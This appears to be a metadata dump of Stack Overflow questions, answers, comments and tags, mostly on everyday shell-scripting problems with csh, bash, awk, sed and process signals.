has body: I'm trying to create a shortcut to find the n'th most recently updated folder at a location in a cshell terminal. Currently I have one to find the latest one. alias latest 'cd `ls -dt1 -- */ | head -1`' I'm looking to add an argument so it can calculate the nth most recent folder with something like alias latestn 'cd `ls -dt1 -- */ | head -[expr !:1 + 1] | tail 1`' I've tried searching on the site but I can't find an example for performing math on input argument.
tagged with: alias
tagged with: arguments
tagged with: math
type: Question

http://stackoverflow.com/comment/135641474
has text: Try `awk 'NR > 1 && $2>60{c++} END{print c+0}' sample1.txt`
score: 1
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76943562

http://stackoverflow.com/a/77051584
downvote count: 0
type: Answer
has body: You could use bash's parameter substitution to replace all non-digits with spaces, then retrieve the last block of numbers by iterating over its words. Example: FILE="application-2412-test-12312333.tar" PROCESS_NUMBER="${FILE//[^0-9]/ }" for PROCESS_NUMBER in $PROCESS_NUMBER; do :; done echo "$PROCESS_NUMBER" 12312333
answers question: http://stackoverflow.com/q/77050349
score: 1
upvote count: 1

http://stackoverflow.com/comment/135595610
has text: Sorry, I didn't see the first using `while/read`. Will test now.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76916586
score: 0

http://stackoverflow.com/comment/135595742
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76915647
score: 0
has text: @yvs2014 How do you explain the same behavior happening when you use `kill -s` that doesn't propagate signal to all children?

input
type: Tag
tags question: http://stackoverflow.com/q/76951169
tag name: input
tags question: http://stackoverflow.com/q/78071285
tags question: http://stackoverflow.com/q/78032097

http://stackoverflow.com/a/76994179
answers question: http://stackoverflow.com/q/76993753
type: Answer
score: 2
upvote count: 2
downvote count: 0
has body: I solved it by installing expect (for unbuffer) and using alias unbuffer='unbuffer ' unbuffer ls --color=never | wc -l The alias with a trailing space for unbuffer causes ls to be expanded in the second line if ls is an alias, as flags such as --group-directories-first or -x could change the number of lines outputted by ls

http://stackoverflow.com/comment/135544174
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76886550
has text: `"float(sys.argv[1])"` is a literal string. You likely want `sys.argv[1]`: no double quotes, and no conversion to float, since it's a string that you're going to parse.
score: 0

http://stackoverflow.com/comment/135758958
comment on: http://stackoverflow.com/q/77009623
score: 1
type: QuestionComment
type: Comment
has text: Agreed. It may be easier to understand if you prefix cmds issued on the cmd-line with a typical prompt char (`$`), and remove the `>` chars. Good luck.

http://stackoverflow.com/a/76948058
answers question: http://stackoverflow.com/q/76944076
type: Answer
accepted answer of: http://stackoverflow.com/q/76944076
score: 0
has body: Although the shell is an application, like Firefox or Libre Office Writer, and set -o noglob is a kind of setting, it's not handled the same way. The set -o noglob setting is not stored into a configuration profile of the application; it is only a volatile run-time change which affects that running instance of the shell. Permanent configuration changes to the behavior of a shell have to be manually recorded in a startup script. For instance, GNU Bash, when running interactively, will read a file called .bashrc in your home directory. If you put set -o noglob in that file, then you will have that setting in effect in every new Bash instance. Other users won't be affected because when they run Bash, it reads their own .bashrc. There are global files in /etc where you could make changes that affect all users. To edit those you need superuser privilege. Applications like web browsers and word processors do this for you; when you change something in their preferences, they make that setting go "live" in that instance of the program and they record it into some configuration file or database, so that it will be in effect if the program is restarted.
type: AcceptedAnswer

http://stackoverflow.com/comment/135741344
has text: The reason I ask about `...` is that there's no ending double-quote in the `FILE_TCL` variable assignment in your example, so we have no idea what is going on there. In general it's very, very unusual to create a makefile like this, just as it's very unusual to use the `shell` function like this. But to solve your problem follow the advice given above: remove the `.SILENT` target so you can see what make is running. If that doesn't help you, edit your question (don't use comments!!) and add in that output, properly formatted, so we can see it.
score: 0
comment on: http://stackoverflow.com/q/76994952
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135569747
comment on: http://stackoverflow.com/q/76901704
has text: @Barmar, unfortunately I am not very familiar with how to do this. As I understand it, I would keep the first `if elif fi` block, and set values into a variable there. Then instead of using regex to check as the expression in the next `if elif fi` block, I use this new variable and set all the string formatting there?
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/a/77015205
has body: From man ps: -C cmdlist Select by command name. This selects the processes whose executable name is given in cmdlist. NOTE: The command name is not the same as the command line. Previous versions of procps and the kernel truncated this command name to 15 characters. This limitation is no longer present in both. If you depended on matching only 15 characters, you may no longer get a match. (emphasis mine) and: $ printf 'transmission-da' | wc 0 1 15
answers question: http://stackoverflow.com/q/77015147
downvote count: 0
score: 1
upvote count: 1
type: Answer

http://stackoverflow.com/comment/135582578
has text: Using a command like `$addr` to invoke a pipeline is intrinsically, inherently broken. Don't ever store commands in strings; see [BashFAQ #50](https://mywiki.wooledge.org/BashFAQ/050). `addr="ping -c 1 "$addr` just prepends the string `ping -c 1` to the prior contents of `addr`; there's nothing wrong with it -- the problem is with the larger approach of using a string to store code in the first place.
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/76909230
type: Comment

http://stackoverflow.com/comment/135589553
score: 2
type: QuestionComment
has text: You say `I try to print using echo the value of jira_description variable then I just get double quotes with no space in between ""` - that means that the jira_description variable contains a pair of double quotes, it isn't empty. Try `if "$JIRA_DESCRIPTION" = '""' ` or similar.
type: Comment
comment on: http://stackoverflow.com/q/76913434

http://stackoverflow.com/comment/135808448
comment on: http://stackoverflow.com/a/77037993
has text: @CharlesDuffy Sorry, i didn't re-read my comment, yes, i edited my awnser, not the question. Also, the `shellcheck` utility helped my with the second point. Thank you!
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/comment/135714626
score: 0
has text: Did you follow the advice to use http://shellcheck.net/, btw? (If so, we should see `|| exit` suffixes on the `cd` commands).
type: QuestionComment
comment on: http://stackoverflow.com/q/76954855
type: Comment

cygwin
tags question: http://stackoverflow.com/q/76903882
tag name: cygwin
type: Tag
tags question: http://stackoverflow.com/q/78462379
tags question: http://stackoverflow.com/q/79401536

http://stackoverflow.com/comment/135601833
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76913125
has text: Rephrased my comment into an answer as it became out of bounds for a comment.
score: 0

http://stackoverflow.com/comment/135703168
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76978545
has text: https://man7.org/linux/man-pages/man1/timeout.1.html is the command to do that

http://stackoverflow.com/comment/135811115
score: 0
comment on: http://stackoverflow.com/a/77039535
type: Comment
type: AnswerComment
has text: Same thing. Definitely a bad design. Especially for a beginner.

vagrantfile
tag name: vagrantfile
tags question: http://stackoverflow.com/q/76937822
type: Tag

http://stackoverflow.com/a/77036470
downvote count: 0
type: Answer
score: 2
has body: You can access secrets via secrets[secret_name] - name: get build secrets env: SECRET_NAME: ${{ inputs.dockerfile }}_BUILD_SECRETS run: | echo "SECRET_NAME = $SECRET_NAME" echo "SECRET_NAME = ${{ env.SECRET_NAME }}" BUILD_SECRETS =${{ secrets[env.SECRET_NAME] }} echo "BUILD_SECRETS = $BUILD_SECRETS"
upvote count: 2
answers question: http://stackoverflow.com/q/77032363

http://stackoverflow.com/comment/135598938
has text: @lyricallywicked I prepared a re-spin of the 291 installers: https://www.kylheku.com/txr-downloads/txr-291-win-update/ Let me know if there are any problems installing this as an unprivileged user on your machine. Cheers.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76908265
score: 0

http://stackoverflow.com/comment/135836216
comment on: http://stackoverflow.com/q/77051352
type: QuestionComment
has text: Maybe [disabling buffering entirely in your terminal](https://stackoverflow.com/questions/3465619/how-to-make-output-of-any-shell-command-unbuffered) solves this issue entirely?
score: 1
type: Comment

http://stackoverflow.com/comment/135771371
comment on: http://stackoverflow.com/a/77016008
has text: Also with your method, ${String_A} seems to not be replace by the value of the variable, but stays like an actual string. So it doesn't solve my issue
score: 2
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135613494
has text: Number of Columns 50+ hence, a shell doing validation of csv where position changes dynamically and need to create with a fixed order with standard header reference. hence a shell script doing validation and placing the output in a variable which is to be passed to awk for creating a file
type: QuestionComment
comment on: http://stackoverflow.com/q/76927566
type: Comment
score: 0

http://stackoverflow.com/comment/135635020
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76939930
score: 0
has text: @puravidaso: I think you should put `a=""` before the first line since you cannot assume `a` is unassigned.

http://stackoverflow.com/a/76964196
type: Answer
has body: I would guess the folder picker changes the current directory (you can verify using Debug.Print CurDir), and your script somehow relies on that being a specific path.
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/76962672
score: 0
accepted answer of: http://stackoverflow.com/q/76962672

http://stackoverflow.com/q/77015974
tagged with: string
type: Question
tagged with: shell
type: UnansweredQuestion
answer count: 1
tagged with: csh
has comment: http://stackoverflow.com/comment/135769411
score: 0
has title: How to nest multi lines string in csh?
linked to: http://stackoverflow.com/q/7305742
has answer: http://stackoverflow.com/a/77016008
tagged with: linux
has body: I am trying to set variables with string, and construct a more complex string by nesting them. For readibility purpose, I have these strings on multiple lines using \ characters. When I try to do this without the \ it seems to work, but I can't have something working with it. Example of not working code : set String_A = "Make \ Something \ End" set String_B = "${String_A} \ And add \ Something else" set String_C = "${String_B} Finally something good" Example of working but unclear code : set String_A = "Pretty long and unreadable" set String_B = "${String_A} And add Something else" set String_C = "${String_B} Finally something" Could you find a solution where I meet my two requirements ? (Readability on multi lines, and nested strings using variables ?) Have a good day, Julien

http://stackoverflow.com/comment/135845720
comment on: http://stackoverflow.com/a/77058674
type: Comment
has text: @Thomas: You're right, of course, but maybe you could update your answer to explain what `set` _does_ do - not least because it explains the other things that xgqfrms is finding strange?
type: AnswerComment
score: 0

ios
tag name: ios
tags question: http://stackoverflow.com/q/77000910
type: Tag
tags question: http://stackoverflow.com/q/77133895
tags question: http://stackoverflow.com/q/77155986
tags question: http://stackoverflow.com/q/77702307
tags question: http://stackoverflow.com/q/78059504
tags question: http://stackoverflow.com/q/78792483
tags question: http://stackoverflow.com/q/79088476

http://stackoverflow.com/comment/135618336
type: QuestionComment
comment on: http://stackoverflow.com/q/76928930
type: Comment
score: 1
has text: That makes sense, sounds like what you really want is a non-blocking read of the stdout from that process so you don't have to wait for it to end. [This question](https://stackoverflow.com/q/375427/7867968) might be a good start

http://stackoverflow.com/comment/135643376
has text: POSIX shells do not have arrays. Which specific shell are you trying to use? bash?
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76944879

posix
tags question: http://stackoverflow.com/q/77051352
type: Tag
tag name: posix
tags question: http://stackoverflow.com/q/76901704
tags question: http://stackoverflow.com/q/77046244
tags question: http://stackoverflow.com/q/76915647
tags question: http://stackoverflow.com/q/77124682
tags question: http://stackoverflow.com/q/77118220
tags question: http://stackoverflow.com/q/77290990
tags question: http://stackoverflow.com/q/77668810
tags question: http://stackoverflow.com/q/77607461
tags question: http://stackoverflow.com/q/77962789
tags question: http://stackoverflow.com/q/78533122
tags question: http://stackoverflow.com/q/79261266
tags question: http://stackoverflow.com/q/79500887
tags question: http://stackoverflow.com/q/79470086
tags question: http://stackoverflow.com/q/79528325
tags question: http://stackoverflow.com/q/79511800
tags question: http://stackoverflow.com/q/79526397

terraform
type: Tag
tags question: http://stackoverflow.com/q/77027025
tags question: http://stackoverflow.com/q/76886145
tag name: terraform
tags question: http://stackoverflow.com/q/77787305
tags question: http://stackoverflow.com/q/78490432
tags question: http://stackoverflow.com/q/78750269

http://stackoverflow.com/comment/135735069
has text: I updated with the code I have that works. It sends the email with the attachment the from is corectly the team mailbox, and all recepients get the email. I just also get an email saying it couldn't send it to "-@node.server.name.com". It has a "-"before the @ symbol then everything after the @ symbol is what shows when I log into PUTTY to run the commands; from my understanding that is the node I connect to.
comment on: http://stackoverflow.com/q/76993432
type: Comment
score: 0
type: QuestionComment

http://stackoverflow.com/comment/135586731
comment on: http://stackoverflow.com/a/76910838
score: 3
type: Comment
has text: `printf %s\\n {1..99..2}` or `i=-1;while(((i+=2)<=99))do echo $i;done`
type: AnswerComment

http://stackoverflow.com/comment/135595595
has text: @F.Zer there are actually 2 answers ... did the `while/read` loop work? (I know the `while/read` loop works in `bash` but I'm not a `zsher`)
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76916586

http://stackoverflow.com/comment/135705797
type: QuestionComment
comment on: http://stackoverflow.com/q/76971571
type: Comment
has text: I have only 3 netcdf files and the first one is supposed to be the first day and the third one is the last day, but I don't know the below command, last_day=`echo $(ls -1 | wc -l)` it counts four days when running inside the loop. for kf in *.nc; do last_day=`echo $(ls -1 | wc -l)` for ((i=1;i<$last_day;i++)); do ival='0'${i} kval=$kf done done
score: 0

http://stackoverflow.com/comment/135748858
has text: @Ish, _by default_ almost everything is a subprocess. If you run `source somescript` or `. somescript` (note the space), then `somescript` runs in your current shell interpreter so it can change that interpreter's state and configuration (settings like `noglob`, current directory, environment variables, etc); whereas if you just run `somescript` then it's a subprocess and can only change _its own_ state, not yours. Shell functions and the few commands that are built into the shell itself (like `cd` -- that's why it can change the shell's directory) are exceptions.
type: QuestionComment
comment on: http://stackoverflow.com/q/76944076
type: Comment
score: 0

http://stackoverflow.com/comment/135634849
comment on: http://stackoverflow.com/q/76939782
score: 0
type: QuestionComment
type: Comment
has text: is your sole purpose to append two strings with a linefeed?

http://stackoverflow.com/comment/135735447
score: 0
comment on: http://stackoverflow.com/q/76996572
type: QuestionComment
type: Comment
has text: I don't think there's anything better than your symlink solution. Files can be identified uniquely using a filesystem ID and inode number, but there's no way to access the file using this. To access the file you need its name.

http://stackoverflow.com/comment/135717612
has text: Not sure what you’re answering - the OP shared no code, yet wants a “simpler” solution - this is impossible to answer objectively (aside from there being nothing specific to answer)
score: 1
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76986780

http://stackoverflow.com/comment/135635013
has text: [yes](https://pubs.opengroup.org/onlinepubs/9699919799/utilities/V3_chap02.html#tag_18_02)
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/76939845

http://stackoverflow.com/comment/135831233
score: 0
has text: See section 14.3.1 - 8
comment on: http://stackoverflow.com/q/77046907
type: QuestionComment
type: Comment

http://stackoverflow.com/q/76944944
tagged with: postgresql
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/76948525
has body: As a beginner in PostgreSQL, I am writing a shell script to verify whether all data have been copied to the child table. I will then perform other activities. If all data have not been copied, the remaining code execution should be halted. In my script, all data from the purchase_history_pre_partitioning table are copied to the newly created purchase_history table using the insert into command. To verify whether all data have been copied, I have written the following DO statement to compare the number of rows in the two tables. However, there is a syntax error. Please advise me on how to troubleshoot this. DO statement: do $$ begin if (((select count(*) from purchase_history) != (select count(*) from purchase_history_pre_partitioning))) then EXIT end $$ Error: ERROR: syntax error at or near "end" LINE 7: end ^ SQL state: 42601 Character: 143
score: 0
has answer: http://stackoverflow.com/a/76948525
type: Question
tagged with: shell
answer count: 1
has title: How to check whether all data in PostgreSQL child table have been copied successfully
tagged with: scripting

http://stackoverflow.com/comment/135617249
type: QuestionComment
comment on: http://stackoverflow.com/q/76928930
type: Comment
has text: @C.Nivs Thanks, but no. I corrected my answer to explain why - my command executes a program, that takes about 10 min to execute and the program produces a lot of print statements. So I don't want to have the print statements displayed after the program is done running, I want them to appear immediately on the screen. Or as a second option - to be immediately saved onto a file. Does this male sense? Thanks for any further help
score: 0

http://stackoverflow.com/comment/135835877
type: Comment
comment on: http://stackoverflow.com/a/77052639
has text: One note about `echo $SHELL` -- it's not the running shell, it's the user's login shell: https://www.gnu.org/software/bash/manual/bash.html#index-SHELL
type: AnswerComment
score: 0

visual-studio-code
type: Tag
tags question: http://stackoverflow.com/q/77022904
tag name: visual-studio-code
tags question: http://stackoverflow.com/q/77209109
tags question: http://stackoverflow.com/q/77072494
tags question: http://stackoverflow.com/q/77205859
tags question: http://stackoverflow.com/q/77163838
tags question: http://stackoverflow.com/q/77645703
tags question: http://stackoverflow.com/q/77695134
tags question: http://stackoverflow.com/q/77829093
tags question: http://stackoverflow.com/q/78444044
tags question: http://stackoverflow.com/q/79232679
tags question: http://stackoverflow.com/q/79232686
tags question: http://stackoverflow.com/q/79169075
tags question: http://stackoverflow.com/q/79332257
tags question: http://stackoverflow.com/q/79335784
tags question: http://stackoverflow.com/q/79471800
tags question: http://stackoverflow.com/q/79505524

http://stackoverflow.com/comment/135840750
type: QuestionComment
comment on: http://stackoverflow.com/q/77055267
type: Comment
has text: Why use a `for` loop when you only need to process one file?
score: 0

http://stackoverflow.com/comment/135692415
has text: ...one approach to consider: Define a function with `myproc() { grep -v FILTERMEPLEASEENDTHISMISERY <(/usr/bin/printscript2.sh); }`, and then use `procs_arr+=( "myproc" )`
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/76972787
type: Comment

http://stackoverflow.com/comment/135605164
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/76922723
has text: You're welcome. See my last update for more than 2 digits.

http://stackoverflow.com/comment/135597194
type: QuestionComment
score: 0
type: Comment
has text: That's not trivial. Are you going to handle `>`, `<`, `|`, `||`, `2>`, `2>&`, and so on? Remember that `&&` doesn't mean "and then do this". It means "and then do this IF the last command succeeded". Are you specifically targeting bash?
comment on: http://stackoverflow.com/q/76917878

http://stackoverflow.com/a/76948168
type: Answer
answers question: http://stackoverflow.com/q/76944879
score: 0
has body: Using GNU sed for -E and -z, this will produce the expected output from the posted sample input (YMMV with different input of course): $ sed -Ez 's/\n\s+/ /g; s/\n(.)/\1/g; s/></>\n</g' input.txt <UndefineProperty name="admin.admin.adapters"/>--> <!--<AddToProperty name="admin.admin.adapters"value="abc^abc.xz=abc"/>--> <Property name="admin.admin.adapters" ride="true" targetFile="file/path/file.txt" value="abc,xz=abc,xz=com^abc.com.xz=abc,ac=com"/> <ConfigurationRef xlink:href="file/path/file.xconf"/> <ConfigurationRef xlink:href="file1.xconf"/> <ConfigurationRef xlink:href="file2.xconf"/> <Property name="ac.abc.Password" ride="true" targetFile="file/path/abc.properties" value="ac.abc.encryptedPassword"/> <Property name="ac.pqr.Protocol" ride="true" targetFile="file/pqr.properties" value="https"/>

http://stackoverflow.com/comment/135574893
score: 0
comment on: http://stackoverflow.com/q/76898164
type: QuestionComment
type: Comment
has text: if your [`stat`](https://www.man7.org/linux/man-pages/man1/stat.1.html) supports it, you can also try adding `--cached=never`

http://stackoverflow.com/comment/135669085
type: Comment
type: AnswerComment
has text: Running `file` returns `setup.sh: Bourne-Again shell script, ASCII text executable`
score: 0
comment on: http://stackoverflow.com/a/76959311

http://stackoverflow.com/comment/135799171
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77009428
has text: This is NO criticism at all, please! Only in case someone finds this great and useful item: It fails, when the file name contains blanks. I only noticed because one person had initially allocated a wrong file name, and that brought a bunch of failures in the subsequent numbers.
score: 0

http://stackoverflow.com/comment/135706570
has text: Please clarify your specific problem or provide additional details to highlight exactly what you need. As it's currently written, it's hard to tell exactly what you're asking.
comment on: http://stackoverflow.com/q/76978564
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/135692444
comment on: http://stackoverflow.com/q/76972787
score: 0
type: Comment
has text: ...actually, that you're attempting to run `${procs_arr[$i]}` makes BashFAQ #50 **exactly** on-point.
type: QuestionComment

http://stackoverflow.com/comment/135623227
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/76930863
score: 0
has text: you can use something like https://github.com/dtmilano/AndroidViewClient/blob/master/examples/helper/swipe changing the points to not move

http://stackoverflow.com/comment/135586945
score: 0
has text: @KamilCuk same error will be thrown if the shebang on the start of the check.sh is not pointing to valid interpreter.
comment on: http://stackoverflow.com/a/76911815
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135707194
type: QuestionComment
comment on: http://stackoverflow.com/q/76979463
type: Comment
has text: BTW, using `echo -ne` when you don't know your shell is bash is a bad idea (on strictly POSIX-compliant sh implementations, `echo -e` writes `-e` as output; and the behavior of `echo -n` is deliberately left unspecified by the standard). `printf '%b' "$HTTP_RESPONSE"` is much more portable. See [Why is printf better than echo?](https://unix.stackexchange.com/questions/65803) and [the POSIX standard for `echo`](https://pubs.opengroup.org/onlinepubs/9699919799/utilities/echo.html), particularly including the APPLICATION USAGE and RATIONALE sections.
score: 0

http://stackoverflow.com/comment/135847352
score: 0
has text: BTW, `export var=value` is **not** local; environment variables have even wider scope than normal shell globals, because unlike normal shell variables they're copied to child processes.
type: QuestionComment
comment on: http://stackoverflow.com/q/77058657
type: Comment

xtermjs
tags question: http://stackoverflow.com/q/76917878
tag name: xtermjs
type: Tag

http://stackoverflow.com/comment/135613396
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/76927566
type: Comment
has text: Do you really need `VAR_INP`? It feels wrong to directly inject code in the `awk` program.

http://stackoverflow.com/comment/135848226
comment on: http://stackoverflow.com/a/77058674
has text: `man zshbuiltins` (or `man zshall` with a bit more scrolling) has the documentation of the `set` command.
score: 1
type: Comment
type: AnswerComment

http://stackoverflow.com/a/77104825
has body: Why not use sed instead: sed 's/=/@^/; s/^/s^@/; s/$/^g/' testfile2.txt | sed -f- testfile1.txt Output: ## START :: start of file ## path.mw.site.profiles=/mw/mysite/cfg/DATA1/ # path.mw.site.broker.profiles=/usr/local/mw/mysite/cfg/DATA2/=/mydirectory/ # path.mw.site.profiles=/mw/mysite/cfg/DATA1/ # path.mw.site.broker.profiles=/usr/local/mw/mysite/cfg/DATA2/=/mydirectory/ ## END :: end of file ##
answers question: http://stackoverflow.com/q/77006285
score: 0
type: Answer

http://stackoverflow.com/a/77017503
has comment: http://stackoverflow.com/comment/135772224
score: 2
upvote count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/135772261
has comment: http://stackoverflow.com/comment/135772649
type: Answer
has body: First, don't use kill -9 as if that's just how you spell it. kill sends any of several signals, but if you don't tell it which if defaults to 15, which is TERM. That's usually best. If you're trying to kill a scary bug, don't start with a sledgehammer. (Maybe have a little courage and put it outside. ;o) Aside from that - Freeman's trap is an elegant solution that allows some nice perqs - for example, you can set traps on different signals that do different things. Andrej Podzimek's trap-in-a-subshell as presented in a comment is kind of beautiful. Depending on your tastes and level of competence, trap might be overkill, but I always recommend taking the time to learn the use and value of something new. If you wanted the second command to ONLY execute if the first finished, use a basic conditional. Let's look at an easily understood example first: $: if sleep 10; then echo ok; fi & # output shows up after another [1] 487 $: ok [1]+ Done if sleep 10; then echo ok; fi I ran a simple if statement in background. It finished, output as asked (which showed up after my next prompt, don't let that confuse you, I didn't type the "ok", I just hit the RETURN there to get the next prompt, which showed me the background job had finished.) If I add a command to then kill the process I just ran in bg: $: if sleep 10; then echo ok; fi & kill $! [1] 498 [1]+ Terminated if sleep 10; then echo ok; fi It immediately terminates with no output, because the if didn't get a valid success completion return code of zero from the sleep. You can achieve a similar result with the more compact double-ampersand syntax. (Lots of other toys available - great cheat sheet here.) $: sleep 10 && echo ok & [1] 502 $: ok [1]+ Done sleep 10 && echo ok $: sleep 10 && echo ok & kill $! [1] 510 [1]+ Terminated sleep 10 && echo ok But in your case, you want the second command to execute even if the sleep is interrupted. I don't see any special effort needed for that, except to make sure the second command is …
answers question: http://stackoverflow.com/q/77016713

http://stackoverflow.com/comment/135589838
score: 0
has text: @tjm3772 thanks, as suggested I added -r flag with jq and it worked like expected.....thanks everyone...really appreciated
comment on: http://stackoverflow.com/q/76913434
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135763979
has text: ... for example, would you prefer `"output"` as shown in this [jqplay.org example](https://jqplay.org/s/kbGHqzTpJGP)?
type: QuestionComment
comment on: http://stackoverflow.com/q/77012572
score: 1
type: Comment

http://stackoverflow.com/comment/135543951
comment on: http://stackoverflow.com/a/76886550
type: Comment
has text: import datetime import sys time = datetime.datetime.strptime("float(sys.argv[1])", "%H:%M:%S") # suppose that the time is 07:12:54 print(time.strftime ("%H:%M:%S")) delta = datetime.timedelta(seconds=float(sys.argv[2])) # I need to add 2000.234 seconds print(delta) new_time = time + delta # calculate the output time in HH:MM:SS print(new_time.strftime ("%H:%M:%S")) new_time2 = time - delta # decrease the seconds of the HH:MM:SS time print(new_time2.strftime ("%H:%M:%S"))
type: AnswerComment
score: 0

http://stackoverflow.com/comment/135562053
has text: see https://onecompiler.com/bash/3zhgr7dnp
score: 0
comment on: http://stackoverflow.com/a/76897279
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135543790
score: 0
has text: Can you clarify if you are doing this in [tag:python] or [tag:shell]?
comment on: http://stackoverflow.com/q/76886382
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135706733
comment on: http://stackoverflow.com/q/76980350
type: QuestionComment
has text: Someone removed that. I did have a tag of linux up.
type: Comment
score: 0

http://stackoverflow.com/comment/135845743
score: 0
comment on: http://stackoverflow.com/a/77058674
type: Comment
has text: @psmears I would love to, but `man zsh` doesn't explain it, and the online documentation is currently... [not online](https://zsh.sourceforge.io/) (getting `SSL_ERROR_NO_CYPHER_OVERLAP`).
type: AnswerComment

file
tag name: file
type: Tag
tags question: http://stackoverflow.com/q/77006747
tags question: http://stackoverflow.com/q/77155640
tags question: http://stackoverflow.com/q/77745370
tags question: http://stackoverflow.com/q/77824412
tags question: http://stackoverflow.com/q/78043388
tags question: http://stackoverflow.com/q/77965619
tags question: http://stackoverflow.com/q/78410832
tags question: http://stackoverflow.com/q/78721219
tags question: http://stackoverflow.com/q/78823644
tags question: http://stackoverflow.com/q/79135612

http://stackoverflow.com/a/77019497
answers question: http://stackoverflow.com/q/77009944
type: Answer
has body: I found a solution and of course this way is deprecated. Someone a better idea? How can I achieve the same with not deprecated classes? import org.springframework.boot.CommandLineRunner; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.boot.autoconfigure.security.oauth2.client.OAuth2ClientProperties; import org.springframework.boot.autoconfigure.security.oauth2.client.OAuth2ClientPropertiesMapper; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.http.HttpHeaders; import org.springframework.http.MediaType; import org.springframework.security.authentication.UsernamePasswordAuthenticationToken; import org.springframework.security.oauth2.client.OAuth2AuthorizationContext; import org.springframework.security.oauth2.client.PasswordOAuth2AuthorizedClientProvider; import lombok.RequiredArgsConstructor; @SpringBootApplication @Configuration @RequiredArgsConstructor public class Application { public static void main(String[] args) { SpringApplication.run(Application.class, args); } private final OAuth2ClientProperties tokenServiceProperties; public String login(String username, String password) { var clientConfig = new OAuth2ClientPropertiesMapper(tokenServiceProperties).asClientRegistrations(); OAuth2AuthorizationContext oAuth2AuthorizeContext = OAuth2AuthorizationContext .withClientRegistration(clientConfig.get("keycloak")).attributes(attrs -> { attrs.put(OAuth2AuthorizationContext.USERNAME_ATTRIBUTE_NAME, username); attrs.put(OAuth2AuthorizationContext.PASSWORD_ATTRIBUTE_NAME, password); attrs.put(HttpHeaders.CONTENT_TYPE, MediaType.APPLICATION_FORM_URLENCODED_VALUE); }).principal(new UsernamePasswordAuthenticationToken("no", "matter")).build(); var user = new PasswordOAuth2AuthorizedClientProvider().authorize(oAuth2AuthorizeContext); return user.getAccessToken().getTokenValue(); } @Bean…
score: 0

http://stackoverflow.com/comment/135543769
has text: What have you tried? Please show it and explain how its output differs from what you expected.
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76886382

http://stackoverflow.com/comment/135616637
has text: Based on the message : `husky - pre-commit hook exited with code 1`, you have errors in `pre-commit` hook.
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76929011

http://stackoverflow.com/a/76929534
score: 1
upvote count: 1
type: Answer
accepted answer of: http://stackoverflow.com/q/76927566
downvote count: 0
answers question: http://stackoverflow.com/q/76927566
type: AcceptedAnswer
has body: You could do it by letting the variable become part of the awk script, e.g.: VAR_INP='TMP1=$1 ; TMP2=$2 ; TMP3=$3 ; TMP4=$4 ; $1=TMP1 ;$3=TMP2 ;$2=TMP3 ;$4=TMP4 ;' awk -F, -v OFS=, '{'"$VAR_INP"'}1' input.csv Output when input.csv contains A,C,B,D: A,B,C,D

http://stackoverflow.com/comment/135808431
has text: Ideally, it should only be the answer, as opposed to the question, being edited on the above point -- we want questions, even when edited for clarity, to still show the problem so answers attached to them make sense. (also, `$isclear=${isclear:-n}` should be `isclear=${isclear:-n}` -- the `$` is an expansion operator, not part of the variable name)
comment on: http://stackoverflow.com/a/77037993
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135806061
score: 0
type: QuestionComment
type: Comment
has text: Useful commands for testing the value of a variable in bash are `test`, `[[ ... ]]` and `(( ... ))`. If we know that a variable contains an number, `if (( choice == 1 ))` would test it. In any case, please make yourself familiar with those test commands before your use them in your scripts.
comment on: http://stackoverflow.com/q/77036497

http://stackoverflow.com/a/77023396
type: Answer
score: 0
answers question: http://stackoverflow.com/q/76986443
has body: In python should to be import re pattern = '^(.*)WHERE.*ALP_ACCT_PROD_ID' text = 'Apple is red WHERE the column ALP_ACCT_PROD_ID, it can be plucked' finded = re.match(pattern, text) # this matches the first parenthesis, aka group finded.group(1) and if ALP_ACCT_PROD_ID comes after where the match is not valid.

http://stackoverflow.com/comment/135807188
type: QuestionComment
score: 0
has text: Given that you don't need grep, rev, or cut, my guess is you don't need a comma separated string or an array. What is your end goal?
comment on: http://stackoverflow.com/q/77037291
type: Comment

http://stackoverflow.com/comment/135789772
score: 0
comment on: http://stackoverflow.com/q/77027254
has text: @knittl Answers to your three questions: 1. My understanding is that `grep -o` can only determine lines, but cannot extract variables. 2. The input file is defined by myself and can be trusted. 3. There should be no other types. The above code is a sample code. It actually needs to parse other files, then get the actual value of the variable from it, and then render the template. During this period, I need to ensure that the variable is not empty.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135673065
comment on: http://stackoverflow.com/a/76961205
score: 1
has text: I'm very glad it helped. If you complete your work you could publish the resulting image on Docker Hub and add a link to it in a comment here for future reference.
type: Comment
